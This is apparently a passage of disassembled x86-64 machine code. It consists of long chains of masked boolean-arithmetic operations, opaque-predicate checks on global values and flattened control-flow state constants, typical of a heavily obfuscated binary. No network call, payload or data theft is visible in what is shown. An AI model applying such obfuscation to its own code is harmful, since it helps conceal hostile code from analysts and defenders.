mov ebx, edi
xor bl, al
or dil, al
xor dil, 1
or dil, bl
or r10b, r15b
or cl, r14b
xor cl, 1
or cl, r8b
xor cl, 1
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
xor al, 1
mov edx, edi
xor dl, 1
and al, dl
or dl, cl
and cl, dil
or cl, al
mov ebx, edx
xor bl, cl
test cl, 1
mov eax, 0x6b94ca13
mov edi, 0x6ac06e00
cmovne eax, edi
test dl, 1
mov ecx, 0x6b94ca13
cmovne eax, ecx
test bl, 1
cmove eax, edi
cmp eax, 0x1fd01907
jle 0x1400019e0
jmp 0x140001977
mov eax, dword [0x1400a6668]
lea ebx, [rax - 1]
imul ebx, eax
mov r8d, ebx
not r8d
mov ecx, r8d
and ecx, 0x5acc5620
mov eax, ebx
and eax, 0xa533a9df
or eax, ecx
mov ecx, eax
xor ecx, 0x80132015
xor eax, 0x5acc5620
and ecx, 0x98d72635
mov edi, eax
and edi, 0x6728d9ca
or edi, ecx
xor edi, 0x84e83c0e
and eax, 0x1c3f1a3b
or eax, edi
mov edi, eax
not edi
mov ecx, r8d
and ecx, 0x8cc64306
mov edx, ebx
and edx, 0x7339bcf9
or edx, ecx
xor edx, 0x90f9593d
or edx, r8d
mov ecx, edx
not ecx
mov esi, edi
xor esi, edx
and esi, edi
and eax, 0x931809ea
and edi, 0x6ce7f615
or edi, eax
and edx, 0x931809ea
and ecx, 0x6ce7f615
or ecx, edx
xor ecx, edi
mov eax, esi
and eax, ecx
xor ecx, esi
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x74a936a4
and ecx, 0x8b56c95b
or ecx, eax
mov edi, ecx
xor edi, 0x2400003
xor ecx, 0x40800000
or edx, 0x46c04633
mov eax, edx
not eax
or ecx, 0x81361980
and ecx, 0xc1b65990
and edi, 0x6400623
or edi, ecx
and edx, 0xc1b65990
and eax, 0x3809a04c
or eax, edx
xor eax, edi
mov ecx, eax
not ecx
and ecx, 0x5aff5c08
and eax, 0xa500a3f7
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xad4032eb
and ecx, eax
and eax, 0x52bfcd14
or eax, edx
xor eax, 0x52bfcd14
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
xor ecx, 0x7eeb6299
and ecx, eax
or eax, 0x81149d66
mov edx, eax
not edx
mov edi, ecx
not edi
mov esi, eax
and esi, 0xe19ef074
and edx, 0x1e610289
or edx, esi
or eax, edi
and edi, 0xe19ef074
and ecx, 0x1e610f8b
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
and ecx, 0x7eeb6299
not eax
and eax, 0x81149d66
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xb0b2187c
and eax, 0x4f4de783
or eax, ecx
mov r14d, eax
xor r14d, 0x6054681
xor eax, 0xa0a21004
and eax, 0xe9eab106
and r14d, 0x16154ef9
or r14d, eax
mov r15d, r14d
xor r15d, 0x16154ef9
mov eax, r8d
and eax, 0x46241f00
and ebx, 0x8800e074
or ebx, eax
mov ecx, ebx
xor ecx, 0x8004054
xor ebx, 0x526d0a8b
or r8d, 0xce24ff74
mov eax, r8d
not eax
and ebx, 0xd26daaab
and ecx, 0xc005554
or ecx, ebx
and r8d, 0xd26daaab
and eax, 0x21920000
or eax, r8d
xor eax, ecx
mov ecx, eax
not ecx
and ecx, 0x31db008b
and eax, 0xce24ff74
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xa020aeda
and eax, 0x5fdf5125
or eax, edx
mov esi, eax
xor esi, 0x5fdf5125
mov edi, eax
xor edi, 0xf12cdf9b
and edi, esi
or ecx, 0x510c7141
mov edx, ecx
not edx
mov ebx, edi
not ebx
mov r8d, ebx
and r8d, 0x84929dc2
and edi, 0x7b6d623d
or edi, r8d
or ebx, ecx
and ecx, 0x84929dc2
and edx, 0x2a61023c
or edx, ecx
xor edx, edi
not ebx
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0xa122a32a
and ebx, 0x5edd5cd5
or ebx, ecx
xor ebx, 0xfd12d94
xor eax, 0x8020aa9a
and eax, 0x836dfb9b
and esi, 0x7c920464
or esi, eax
mov edx, esi
xor edx, 0x8328c089
xor esi, 0x3c920400
and esi, 0x3cd73f12
and edx, 0xc328c0ed
or edx, esi
xor edx, 0xc328c0ed
mov eax, ebx
and eax, edx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xe7c5d3b8
and eax, edx
and edx, 0x183a2c47
or edx, ecx
xor edx, 0x183a2c47
mov ecx, edx
and ecx, eax
xor edx, eax
or edx, ecx
xor r14d, 0xe9eab106
mov eax, r14d
and eax, 0xd6b36f1
mov ecx, r15d
and ecx, 0xf294c90e
or ecx, eax
mov r12d, ecx
xor r12d, 0xb0040806
xor ecx, 0x4082080
and ecx, 0x4698e188
and r12d, 0xb9671e77
or r12d, ecx
mov r11d, r12d
xor r11d, 0x4698e188
mov r9d, edx
not r9d
mov eax, r9d
and eax, 0x11682e14
mov ecx, edx
and ecx, 0xee97d1eb
or ecx, eax
mov edi, ecx
xor edi, 0x89311ea
xor ecx, 0x11480214
and ecx, 0xf74cc215
and edi, 0x8b33dea
or edi, ecx
mov r8d, edi
xor r8d, 0xf74cc215
xor r12d, 0xb9671e77
mov r10d, r12d
and r10d, 0xedbf0e84
xor edi, 0x8b33dea
mov ecx, edi
and ecx, 0xa6237cc9
mov r13d, r8d
and r13d, 0x59dc8336
or r13d, ecx
xor r13d, 0xff0f3eab
mov esi, r13d
xor esi, edi
mov ecx, r11d
xor ecx, edi
and ecx, r11d
and edi, r11d
and r11d, 0x1240f17b
or r11d, r10d
xor r11d, 0x4b6cb319
or r11d, r12d
mov r10d, r11d
not r10d
and r14d, 0x4a8a2975
and r15d, 0xb575d68a
or r15d, r14d
mov ebx, r15d
xor ebx, 0xb575d68a
xor r15d, 0x2882950
and r15d, 0x22a93b5a
mov eax, ebx
and eax, 0xdd56c4a5
or eax, r15d
xor eax, 0x847a86c7
and ebx, 0xa6d3bd9d
or ebx, eax
mov r14d, ebx
not r14d
and esi, r13d
and r9d, 0xf3333042
and edx, 0xccccfbd
or edx, r9d
mov eax, edx
xor eax, 0x4c08d9d
and eax, 0xa6d3bd9d
xor edx, 0xaa1f7220
or edx, eax
mov eax, edx
not eax
and r14d, r11d
or r11d, ebx
not r11d
and ebx, r10d
or ebx, r14d
mov r9d, r11d
and r9d, ebx
xor ebx, r11d
or ebx, r9d
mov r9d, esi
not r9d
mov r10d, r9d
or r10d, edx
not r10d
and r9d, 0xe9267b03
and esi, 0x16d984fc
or esi, r9d
and edx, 0xe9267b03
and eax, 0x16d984fc
or eax, edx
xor eax, esi
mov edx, r10d
and edx, eax
xor eax, r10d
or eax, edx
mov edx, ebx
not edx
and edx, 0x3cebb660
and ebx, 0xc314499f
or ebx, edx
mov esi, eax
mov edx, eax
xor edx, 0x3cebb660
and edx, eax
not eax
and eax, 0x88060
and esi, 0x3ce33600
or esi, eax
xor esi, 0x3ce33600
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov eax, ebx
not eax
and eax, edx
not edx
and edx, ebx
or edx, eax
and r12d, r8d
or edi, r12d
mov eax, ecx
not eax
mov ebx, edi
not ebx
mov esi, eax
and esi, 0x7ca31e5d
and ecx, 0x835ce1a2
or ecx, esi
or eax, ebx
and ebx, 0x7ca31e5d
and edi, 0x835ce1a2
or edi, ebx
xor edi, ecx
not eax
or eax, edi
mov ecx, eax
not ecx
and eax, ecx
mov ebx, ecx
and ebx, eax
xor eax, ecx
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0xfa45ff29
and eax, 0x5ba00d6
or eax, ecx
mov ebx, eax
xor ebx, 0x5ba00d6
xor eax, 0xfa45ff29
mov ecx, edx
not ecx
and eax, ecx
or ecx, ebx
not ecx
and ebx, edx
or ebx, eax
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov edx, ebx
not edx
mov r10d, ebx
or r10d, 0x4bca6090
mov eax, r10d
not eax
mov r8d, edx
mov edi, ebx
mov r9d, edx
mov esi, ebx
mov ecx, edx
and ecx, 0xe1597d14
and ebx, 0x1ea682eb
or ebx, ecx
xor ebx, 0xe1597d15
or ebx, edx
or edx, 0xb4359f6f
mov ecx, edx
not ecx
and r10d, 0xcfb667aa
and eax, 0x30019845
or eax, r10d
and edx, 0xcfb667aa
and ecx, 0x480010
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and eax, 0xbcea73b
and ecx, 0xf43158c4
or ecx, eax
mov r13d, ecx
xor r13d, 0xa5fa2810
xor ecx, 0x4000448a
and ecx, 0x5a0154cf
and r13d, 0xa5feab30
or r13d, ecx
mov ecx, r13d
xor ecx, 0xa0eeab00
and r8d, 0xb5881d42
and edi, 0x4a77e2bd
or edi, r8d
mov edx, edi
xor edx, 0x4266e20c
xor r13d, 0x5a0154cf
xor edi, 0xb5881d42
mov eax, r13d
and eax, 0xd1100f1
and ecx, 0xf2eeff0e
or ecx, eax
or r13d, edi
and edi, 0xd1100f1
and edx, 0xf2eeff0e
or edx, edi
xor edx, ecx
not r13d
or r13d, edx
mov r8d, r13d
not r8d
and r9d, 0xa1cdd64b
and esi, 0x5e3229b4
or esi, r9d
mov eax, esi
xor eax, 0x12200834
xor esi, 0x808c5048
and esi, 0xcc9e71c8
and eax, 0x33618e37
or eax, esi
mov ecx, eax
xor ecx, 0x440e3040
xor eax, 0x2408414
and eax, 0x8ad0c59c
and ecx, 0x752f3a63
or ecx, eax
mov edx, ecx
xor edx, 0x752f3a63
xor ecx, 0x82c0c58c
and ecx, 0xc3e3e78c
mov eax, edx
and eax, 0x3c1c1873
or eax, ecx
xor eax, 0xc3e3e78d
and edx, 1
or edx, eax
mov edi, edx
not edi
mov ecx, ebx
not ecx
mov eax, edx
and eax, 0xcd90feff
xor edx, 0xe0a709bd
and edx, edi
and edi, 0x326f0100
or edi, eax
mov r9d, edi
xor r9d, 0x326f0100
and ebx, 0x7ba87063
mov r14d, ecx
and r14d, 0x84578f9c
or r14d, ebx
mov r11d, r14d
xor r11d, 0x84578f9c
mov ebx, edi
xor ebx, 0xd2c808bd
and ebx, r9d
xor r14d, 0x7ba87063
mov r10d, r11d
and r10d, 0x1f58f642
and ecx, 0xe0a709bd
or ecx, r10d
mov esi, ebx
not esi
mov eax, edx
not eax
mov r10d, esi
and r10d, 0xee48768b
and ebx, 0x11b78974
or ebx, r10d
or esi, eax
and eax, 0xee48768b
and edx, 0x11b78974
or edx, eax
xor edx, ebx
not esi
or esi, edx
mov eax, esi
not eax
and eax, ecx
not ecx
and ecx, esi
or ecx, eax
xor edi, 0xcd90feff
mov eax, edi
and eax, 0xb91fce84
and r9d, 0x46e0317b
or r9d, eax
or edi, r14d
and r14d, 0xb91fce84
and r11d, 0x46e0317b
or r11d, r14d
xor r11d, r9d
not edi
or edi, r11d
mov eax, edi
not eax
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x87a98de7
and ecx, 0x78567218
or ecx, edx
or ebx, edi
and edi, 0x87a98de7
and eax, 0x78567218
or eax, edi
xor eax, ecx
not ebx
or ebx, eax
mov eax, r13d
and eax, 0x1829120
mov ecx, r8d
and ecx, 0xd250068e
or ecx, eax
xor ecx, 0xd250068e
mov r12d, r8d
and r12d, 0x2c2d6851
or r12d, ecx
mov eax, r12d
not eax
and eax, 0x28d4954b
and r12d, 0xd72b6ab4
or r12d, eax
mov esi, ebx
not esi
mov eax, esi
and eax, 0xd874710a
mov edi, ebx
xor edi, 0xd874710a
and edi, ebx
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov eax, edi
not eax
and eax, 0x278b8ef5
and edi, 0xd874710a
or edi, eax
mov r9d, r12d
xor r9d, 0xfb0602e5
mov r11d, edi
mov r15d, edi
not r15d
mov eax, r15d
and eax, 0xd40d4c81
and r11d, 0x2bf2b37e
or r11d, eax
xor r11d, 0x26f77aa7
mov r10d, r11d
xor r10d, r15d
mov r14d, r9d
and r14d, r15d
xor r15d, r9d
and r9d, 0xf2fa3626
mov eax, r12d
xor eax, 0x9fc34c3
or eax, r9d
mov ecx, eax
not ecx
and ecx, 0xc3430ecf
and eax, 0x3cbcf130
or eax, ecx
mov ecx, eax
xor ecx, 0x3cbcf130
mov edx, r13d
and edx, 0xc7d496b5
and r8d, 0x382b694a
or r8d, edx
xor r8d, 0xcad15f6c
xor r13d, r8d
and r13d, r8d
and r10d, r11d
and ebx, 0xdc4ce46b
mov edx, esi
and edx, 0x23b31b94
or edx, ebx
xor edx, 0xd1492db2
and esi, 0xd05c9d9
or esi, edx
mov r8d, esi
not r8d
xor eax, 0xc3430ecf
and eax, r13d
not r13d
mov edx, ecx
xor edx, r13d
and edx, ecx
and r13d, ecx
or r13d, eax
mov r11d, edx
not r11d
mov ecx, r13d
not ecx
mov ebx, r11d
and ebx, 0x96fce409
and edx, 0x69031bf6
or edx, ebx
or r11d, ecx
and ecx, 0x96fce409
and r13d, 0x69031bf6
or r13d, ecx
xor r13d, edx
not r11d
or r11d, r13d
mov eax, r10d
mov ecx, r10d
xor ecx, 0xa89fc28b
and ecx, r10d
not r10d
and r10d, 0x8483b8ad
and eax, 0x7b7c4752
or eax, r10d
mov r10d, eax
xor r10d, 0x7b7c4752
mov r9d, esi
and r9d, 0xd52f07ce
xor esi, 0x57603d74
and esi, r8d
and r8d, 0x2ad0f831
or r8d, r9d
mov ebx, eax
xor ebx, 0x2c1c7a26
and ebx, r10d
mov edx, ebx
not edx
mov r9d, edx
and r9d, 0xaeaab06c
and ebx, 0x51554f93
or ebx, r9d
mov r9d, ecx
not r9d
or edx, r9d
and r9d, 0xaeaab06c
and ecx, 0x51554f93
or ecx, r9d
mov r9d, r8d
xor r8d, 0xd52f07ce
xor ecx, ebx
mov ebx, r8d
or ebx, 0x57603d74
not edx
or edx, ecx
mov ecx, ebx
not ecx
mov r13d, ebx
and r13d, 0x943a7bf6
and ecx, 0x28858009
or ecx, r13d
mov r13d, esi
not r13d
or ebx, r13d
and r13d, 0x943a7bf6
and esi, 0x6bc58409
or esi, r13d
xor esi, ecx
not ebx
or ebx, esi
mov ecx, edx
not ecx
and ecx, 0x1734b531
and edx, 0xe8cb4ace
or edx, ecx
mov ecx, ebx
not ecx
and ecx, 0x1734b531
and ebx, 0xe8cb4ace
or ebx, ecx
xor ebx, edx
xor eax, 0x8483b8ad
mov ecx, eax
and ecx, 0x7636418f
and r10d, 0x89c9be70
or r10d, ecx
mov r13d, edi
xor r13d, 0x4475ffbb
and r13d, edi
xor r9d, 0x8c0b830
or eax, r8d
and r8d, 0x7636418f
and r9d, 0x89c9be70
or r9d, r8d
mov r8d, r12d
xor r8d, 0x4f9fd1a
xor r9d, r10d
not eax
or eax, r9d
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x46ba3c58
and ebx, 0xb945c3a7
or ebx, ecx
mov ecx, eax
not ecx
or edx, eax
and eax, 0x46ba3c58
and ecx, 0xb945c3a7
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov esi, r11d
not esi
mov ecx, esi
and ecx, 0x32e374d4
and r11d, 0xcd1c8b2b
or r11d, ecx
mov ebx, edx
mov ecx, edx
xor ecx, 0x2c116e2f
and ecx, edx
not edx
and edx, 0x12c0a
and ebx, 0x2c104225
or ebx, edx
mov edx, r11d
xor edx, 0xc100208
xor r11d, 0x2004
or esi, 0x2c116e2f
or r11d, 0xec0010
and r11d, 0xec2837
and edx, 0x2c114608
or edx, r11d
mov eax, esi
not eax
and esi, 0xec2837
and eax, 0xd30291c0
or eax, esi
mov esi, ebx
xor esi, 0x100024
xor ebx, 0xd3efbdda
xor eax, edx
mov edx, ebx
and edx, 0xbf0ecbd9
and esi, 0x112426
or esi, edx
mov edx, ecx
not edx
or ebx, edx
and edx, 0xbf0ecbd9
and ecx, 0x40f13426
or ecx, edx
xor ecx, esi
not ebx
or ebx, ecx
mov ecx, eax
not ecx
and ecx, ebx
not ebx
and ebx, eax
or ebx, ecx
xor r12d, 0x408c02a1
and r12d, r8d
or r8d, 0xbb8a0044
mov eax, r8d
not eax
or edi, 0xbb8a0044
mov ecx, edi
not ecx
mov edx, r12d
not edx
mov esi, r8d
and esi, 0x7609723a
and eax, 0x748d81
or eax, esi
or r8d, edx
and edx, 0x7609723a
and r12d, 0x89f68dc5
or r12d, edx
xor r12d, eax
not r8d
or r8d, r12d
mov eax, r13d
not eax
mov edx, edi
and edx, 0xec90cd1c
and ecx, 0x6532a3
or ecx, edx
or edi, eax
and eax, 0xec90cd1c
and r13d, 0x136f32e3
or r13d, eax
xor r13d, ecx
not edi
or edi, r13d
mov eax, r8d
not eax
and eax, 0xaeaaae61
and r8d, 0x5155519e
or r8d, eax
mov eax, edi
not eax
and eax, 0xaeaaae61
and edi, 0x5155519e
or edi, eax
xor edi, r8d
or r15d, r14d
mov eax, r15d
not eax
and eax, 0x8f5847dc
and r15d, 0x70a7b823
or r15d, eax
mov ecx, r15d
xor ecx, 0x2002a801
mov r12d, edi
not r12d
xor r15d, 0x8f5847dc
mov edx, r12d
and edx, 0xd2ad5676
and edi, 0x2d52a989
or edi, edx
or r12d, r15d
and r15d, 0xd2ad5676
and ecx, 0x2d52a989
or ecx, r15d
xor ecx, edi
not r12d
or r12d, ecx
mov ecx, r12d
not ecx
and ecx, 0x48814c8a
mov edx, r12d
and edx, 0x37040000
or edx, ecx
xor edx, 0x37040000
and r12d, 0x807ab375
or r12d, edx
mov ecx, r12d
not ecx
and ecx, 0x807ab375
and r12d, 0x7f854c8a
or r12d, ecx
mov ecx, r12d
not ecx
mov edx, ebx
not edx
mov edi, edx
or edi, ecx
not edi
and edx, 0x3a26f1c3
and ebx, 0xc5d90e3c
or ebx, edx
and ecx, 0x3a26f1c3
and r12d, 0xc5d90e3c
or r12d, ecx
xor r12d, ebx
mov ecx, edi
and ecx, r12d
xor r12d, edi
or r12d, ecx
mov r8d, r12d
not r8d
mov ecx, r12d
xor ecx, 0x5b75eb74
and ecx, r12d
mov eax, r12d
or eax, 0xa48a148b
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0x173080e
mov edi, r8d
and edi, 0x5a04e370
or edi, ebx
or eax, edx
and edx, 0x173080e
and ecx, 0xfe8cf7f1
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xfe4df60
and eax, 0xf01b209f
or eax, ecx
mov esi, eax
xor esi, 0xab6ecbeb
xor eax, 0x50102410
mov edx, r12d
and edx, 0x7efac369
mov ecx, r8d
and ecx, 0x81053c96
or ecx, edx
xor ecx, 0x81053c96
or ecx, r8d
mov ebx, ecx
not ebx
and ebx, 0xcf25c3b0
and ecx, 0x30da3c4f
or ecx, ebx
mov edi, ecx
xor edi, 0x30da3c4f
mov ebx, ecx
xor ebx, 0x4a0103a0
and eax, 0xd076277a
mov edx, esi
and edx, 0x2f89d885
or edx, eax
mov r9d, edx
xor r9d, 0x2f89d885
and ebx, 0x7a592fe1
xor ecx, 0xf140fcaa
and ecx, edi
and edi, 0x85a6d01e
or edi, ebx
mov ebx, edi
xor ebx, 0x85a6d01e
xor edx, 0x11ece79f
and edx, r9d
and esi, 0x3e653f1a
xor edi, 0x401800e1
or edi, 0x3e653f1a
mov eax, edi
not eax
mov r10d, edx
and r10d, esi
xor esi, edx
or esi, r10d
mov edx, ecx
not edx
mov r10d, edi
and r10d, 0xcc7411b8
and eax, 0x18ac045
or eax, r10d
or edi, edx
and edx, 0xcc7411b8
and ecx, 0x338bee47
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov eax, esi
not eax
and eax, edi
not edi
and edi, esi
or edi, eax
mov eax, r9d
and eax, ebx
xor ebx, r9d
or ebx, eax
mov eax, ebx
not eax
and eax, 0x41222710
and ebx, 0xbeddd8ef
or ebx, eax
xor ebx, 0xbeddd8ef
mov eax, edi
and eax, ebx
xor ebx, edi
or ebx, eax
mov eax, ebx
mov ecx, ebx
xor ecx, 0x68f37e07
and ecx, ebx
not ebx
and ebx, 0x40023605
and eax, 0x28f14802
or eax, ebx
xor eax, 0x28f14802
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x773632a1
and ecx, 0x88c9cd5e
or ecx, eax
mov eax, ecx
xor eax, 0x2032a348
xor ecx, 0x12844824
and ecx, 0xd28c5835
and eax, 0x2d73a7ca
or eax, ecx
mov ecx, eax
xor ecx, 0x9720182
xor eax, 0xc0840820
and eax, 0xe485ae68
and ecx, 0x1b7a5197
or ecx, eax
mov eax, ecx
xor eax, 0x84812420
xor ecx, 0xa780091
and ecx, 0x6a7c8ad9
and eax, 0x95837526
or eax, ecx
mov edx, eax
xor edx, 0x10835406
xor eax, 0x348a50
and eax, 0x8534ab70
and edx, 0x7acb548f
or edx, eax
mov r15d, edx
xor r15d, 0x7acb548f
mov eax, r12d
and eax, 0xdc605369
mov ecx, r8d
and ecx, 0x239fac96
or ecx, eax
xor ecx, 0x239fac96
and r8d, 0xc360952c
and r12d, 0x3c9f6ad3
or r12d, r8d
xor r12d, 0x3c9f6ad3
mov eax, ecx
and eax, r12d
xor r12d, ecx
or r12d, eax
mov r14d, r12d
not r14d
xor edx, 0x8534ab70
mov r9d, r15d
mov eax, edx
and eax, 0x2ae61d1
and r15d, 0xfd519e2e
or r15d, eax
xor r15d, 0xcc1825b0
or r15d, edx
and edx, 0xe23d4c1e
and r9d, 0x1dc2b3e1
or r9d, edx
mov r13d, r9d
xor r13d, 0x1140b380
mov r8d, r9d
xor r8d, 0xe23d4c1e
mov eax, r12d
and eax, 0xec8e99a
mov edx, r14d
and edx, 0xf1371665
or edx, eax
mov ebx, edx
xor ebx, 0xf1240444
xor edx, 0x6806188
and edx, 0x69373a9
and ebx, 0xf96c8c56
or ebx, edx
mov r10d, ebx
xor r10d, 0x69373a9
mov eax, r8d
and eax, 0xceb64461
and r13d, 0x3149bb9e
or r13d, eax
not r13d
or r13d, r8d
mov edi, ebx
xor edi, 0xf96c8c56
mov r11d, edi
and r11d, 0x32a9d7d6
xor ebx, 0x3539335c
mov edx, ebx
and ebx, r10d
and r10d, 0xcd562829
or r10d, r11d
mov eax, r10d
xor eax, 0xcc160021
and eax, 0xceb64461
xor r10d, 0x3e06c48
or r10d, eax
mov eax, r10d
not eax
and eax, 0xee57710
and r10d, 0xf11a88ef
or r10d, eax
and r12d, 0xc353e166
and r14d, 0x3cac1e99
or r14d, r12d
mov esi, r14d
xor esi, 0x3cac1e99
xor r14d, 0x8302a146
and r14d, 0x93a2a1c7
mov eax, esi
and eax, 0x6c5d5e38
or eax, r14d
mov ecx, r13d
not ecx
xor eax, 0xa2eb1a59
and esi, 0x3149bb9e
or esi, eax
mov r11d, ecx
xor r11d, r15d
and r11d, ecx
and r13d, 0xbca8c6a1
and ecx, 0x4357395e
or ecx, r13d
mov r12d, r15d
not r12d
and r15d, 0xbca8c6a1
and r12d, 0x4357395e
or r12d, r15d
xor r12d, ecx
mov r14d, r11d
and r14d, r12d
xor r12d, r11d
mov r11d, r10d
xor r11d, 0xb01280ef
xor r10d, 0xee57710
or r12d, r14d
mov eax, r10d
and r10d, 0x4b6d3c00
and r11d, 0xb492c3ff
or r11d, r10d
mov ecx, esi
not ecx
or eax, esi
and esi, 0x4b6d3c00
and ecx, 0xb492c3ff
or ecx, esi
mov r14d, eax
not r14d
xor ecx, r11d
mov r10d, eax
and r10d, 0x4abbe7f1
and r14d, 0xb544180e
or r14d, r10d
mov esi, ecx
not esi
or eax, esi
and esi, 0x4abbe7f1
and ecx, 0xb544180e
or ecx, esi
xor ecx, r14d
not eax
or eax, ecx
mov ecx, eax
not ecx
or ecx, r12d
not r12d
not ecx
or r12d, eax
not r12d
mov eax, ecx
and eax, r12d
xor r12d, ecx
or r12d, eax
xor r9d, 0x2e68f314
and r9d, r8d
and edx, edi
mov eax, r8d
and eax, edi
xor edi, r8d
or r8d, 0x33aa40f5
mov ecx, r9d
not ecx
mov esi, ecx
and esi, 0x9feafe4b
and r9d, 0x601501b4
or r9d, esi
mov esi, r8d
not esi
or ecx, r8d
and r8d, 0x9feafe4b
and esi, 0x40150100
or esi, r8d
xor esi, r9d
not ecx
or ecx, esi
mov esi, edx
and esi, ebx
xor ebx, edx
or ebx, esi
mov edx, ecx
not edx
and edx, 0xae2a40bd
and ecx, 0x51d5bf42
or ecx, edx
mov edx, ebx
not edx
and edx, 0xae2a40bd
and ebx, 0x51d5bf42
or ebx, edx
xor ebx, ecx
or edi, eax
mov eax, edi
not eax
and eax, 0x1f162a9a
and edi, 0xe0e9d565
or edi, eax
xor edi, 0xe0e9d565
mov eax, ebx
and eax, edi
xor edi, ebx
or edi, eax
mov eax, edi
xor eax, 0xb059f319
and eax, edi
not edi
and edi, 0xb059f319
mov ecx, edi
and ecx, eax
xor eax, edi
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x4fa60ce6
and eax, 0xb059f319
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xec0d1bf2
and ecx, 0x13f2e40d
or ecx, eax
mov eax, ecx
xor eax, 0x13f2e40d
xor ecx, 0xec0d1bf2
mov edx, r12d
not edx
and eax, edx
or edx, ecx
not edx
and ecx, r12d
or ecx, eax
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov ebx, ecx
not ebx
mov eax, ecx
mov edx, ebx
and edx, 0xd70768ba
and ecx, 0x28f89745
or ecx, edx
not ecx
or ecx, ebx
and ebx, 0x17cb655c
and eax, 0xe8349aa3
or eax, ebx
mov edx, eax
xor edx, 0x80208aa3
xor eax, 0x12000144
and eax, 0x7a141144
and edx, 0x85ebeebb
or edx, eax
mov eax, edx
xor eax, 0x50000000
xor edx, 0x5020838
and eax, 0xd0016082
and edx, 0x7060838
or edx, eax
mov eax, edx
xor eax, 0x7060838
xor edx, 0xf8f9f7c7
mov ebx, ecx
not ebx
and ebx, edx
or edx, ecx
not edx
and ecx, eax
or ecx, ebx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
xor edx, 0x28f89745
and edx, ecx
not ecx
and ecx, 0x28f89745
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0x409157
mov ecx, edx
and ecx, 0xffbf6ea8
or ecx, eax
mov ebx, ecx
xor ebx, 0xffbf6ea8
xor ecx, 0x408144
and ecx, 0x1ce4a5ec
mov eax, ebx
and eax, 0xe31b5a13
or eax, ecx
xor eax, 0xe31b5a13
or eax, ebx
and ebx, 0xd299e056
and edx, 0x2d661fa9
or edx, ebx
mov ecx, edx
and ecx, 0x2d661fa9
not edx
and edx, 0xd299e056
or edx, ecx
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x19a40ae9
or edx, eax
and eax, 0xe65bf516
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x77eff70d
and eax, 0x881008f2
or eax, ecx
mov ecx, eax
xor ecx, 0xb4020a
xor eax, 0x684b6820
and eax, 0xf94b6831
and ecx, 0x6b497ce
or ecx, eax
mov ebx, ecx
xor ebx, 0x61094c2
xor ecx, 0xf0024031
and ecx, 0xf0a6433d
and ebx, 0xf59bcc2
or ebx, ecx
mov eax, ebx
xor eax, 0xf59bcc2
mov ecx, edx
not ecx
mov edi, ebx
xor edi, 0x50844021
and edi, 0x598d4061
xor ebx, 0x9e793831
and ebx, eax
and eax, 0xa672bf9e
or eax, edi
mov r8d, eax
xor r8d, 0xa672bf9e
and edx, 0x84efc93f
mov r9d, ecx
and r9d, 0x7b1036c0
or r9d, edx
mov edx, eax
xor edx, 0xc8adc492
and edx, r8d
mov esi, edx
not esi
mov edi, esi
and edi, 0xb74e59eb
and edx, 0x48b1a614
or edx, edi
mov edi, ebx
not edi
or esi, edi
and edi, 0xb74e59eb
and ebx, 0x48b1a614
or ebx, edi
mov edi, r9d
xor edi, 0x7b1036c0
xor ebx, edx
mov edx, r9d
xor edx, 0x15cf4dcc
and edx, edi
and ecx, 0x6edf7b0c
not esi
or esi, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, esi
not edx
and edx, 0x5b850a0c
and esi, 0xa47af5f3
or esi, edx
mov edx, ecx
not edx
and edx, 0x5b850a0c
and ecx, 0xa47af5f3
or ecx, edx
mov ebx, dword [0x1400a6664]
xor ecx, esi
xor eax, 0x598d4061
xor r9d, 0x84efc93f
mov edx, eax
and edx, 0xae8d3fcf
and r8d, 0x5172c030
or r8d, edx
or eax, r9d
and r9d, 0xae8d3fcf
and edi, 0x5172c030
or edi, r9d
xor edi, r8d
not eax
or eax, edi
not eax
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x58411222
mov edi, eax
and edi, 0x240084c1
or edi, edx
xor edi, 0x240084c1
mov edx, eax
xor edx, 0x7c4196e3
and edx, eax
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x1dc06cbb
and edx, 0xe23f9344
or edx, edi
xor edx, 0x9e7e05a7
and ecx, 0xd7018582
and eax, 0x28fe7a7d
or eax, ecx
xor eax, 0x28fe7a7d
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xeef0e4d0
and eax, 0x110f1b2f
or eax, ecx
xor eax, 0x110f1b2f
setne r8b
sete r11b
cmp ebx, 9
setg r9b
cmp ebx, 0xa
setl dil
mov eax, edi
and al, r11b
mov ebx, r8d
and bl, r9b
or bl, al
mov edx, ebx
xor dl, r11b
and dl, bl
